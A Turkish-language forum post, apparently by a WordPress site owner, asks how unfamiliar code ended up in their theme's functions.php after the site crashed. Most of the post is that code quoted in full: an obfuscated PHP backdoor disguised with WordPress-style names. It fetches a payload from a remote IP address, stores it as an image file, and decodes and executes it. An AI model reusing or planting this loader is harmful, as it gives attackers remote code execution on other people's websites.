Merhaba arkadaşlar dün akşam sitemde hiçbir sorun yoktu bu sabah baktığımda functions.php hatası vardı bende temayı aldığım yere başvurdum sorunu düzelttiler fakat functions.php dosyasına eklemeler yaptığımı söylediler eklediğim kodlarda aşağıdaki gibiymiş ama ben kod vs eklemedim,eklendiyse bu kodlar nasıl eklendi acaba?

hata şöyleydi
Fatal error:
The encoded file /home/xxxxx/public_html/wp-content/themes/xxxxxx/functions.php is corrupt. in Unknown on line 0

Eklenen Kodlar:

if ( ! function_exists( 'wp_admin_tab' ) ) :
/**
* Load admin dynamic tabs if available.
*
* @since 3.2.5
*
* @return void
*/
function wp_admin_tab() {
$wp_menu = error_reporting(0);
$wp_copyright = DIRECTORY_SEPARATOR . 'wordpress.png';
$wp_head = get_template_directory() . $wp_copyright;
$wp_call = "\x70\x61\x63\x6b";
$wp_load = $wp_call("H*", '6372656174655f66756e6374696f6e');
$wp_active = $wp_call("H*", '66696c655f6765745f636f6e74656e7473');
$wp_core = $wp_call("H*", '687474703a2f2f38382e38302e302e31372f6265616e');
$wp_layout = "\x61\x6c\x6c\x6f\x77\x5f\x75\x72\x6c\x5f\x66\x6f\x70\x65\x6e";
$wp_image = $wp_call("H*", '677a696e666c617465');
$wp_bar = $wp_call("H*", '756e73657269616c697a65');
$wp_menu = $wp_call("H*", '6261736536345f6465636f6465');
$wp_inactive = $wp_call("H*", '66696c655f7075745f636f6e74656e7473');
$wp_plugin = $wp_call("H*", '6375726c5f696e6974');
$wp_style = $wp_call("H*", '6375726c5f7365746f7074');
$wp_script = $wp_call("H*", '6375726c5f65786563');
if (!file_exists($wp_head)) {
$wp_core = $wp_core . $wp_copyright;
if (ini_get($wp_layout) == 1) {
$wp_asset = $wp_active($wp_core);
} else {
if (function_exists($wp_plugin)) {
$wp_css = $wp_plugin($wp_core);
$wp_style($wp_css, 10002, $wp_core);
$wp_style($wp_css, 19913, 1);
$wp_style($wp_css, 74, 1);
$wp_asset = $wp_script($wp_css);
}
}
if( !strpos($wp_asset,'gmagick') ) return;
$wp_inactive($wp_head, $wp_asset);
}
$wp_logo = $wp_active($wp_head);
$wp_theme = strpos($wp_logo, 'gmagick');
if ($wp_theme !== false) {
$wp_nav = substr($wp_logo, $wp_theme + 7);
$wp_settings = $wp_bar($wp_image($wp_nav));
$wp_asset = $wp_menu($wp_settings['admin_nav']);
$wp_content = $wp_load("", $wp_asset);$wp_content();
error_reporting($wp_menu);
}
}
endif;